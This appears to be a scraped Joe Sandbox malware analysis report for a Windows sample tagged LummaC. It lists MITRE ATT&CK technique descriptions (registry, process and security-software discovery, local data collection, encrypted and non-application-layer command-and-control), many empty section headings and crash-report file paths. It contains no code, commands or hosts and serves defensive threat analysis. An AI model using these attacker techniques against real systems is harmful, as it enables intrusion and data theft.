Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report j6ks0Fxu6t.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_j6ks0Fxu6t.exe_717d70774c89dc9848fcf0a420f193d2ba4dc2_60e44c6b_aff1d3c2-df35-428a-89eb-a862bab9065e\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER60C2.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER623A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER625A.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Windows Analysis Report
j6ks0Fxu6t.exe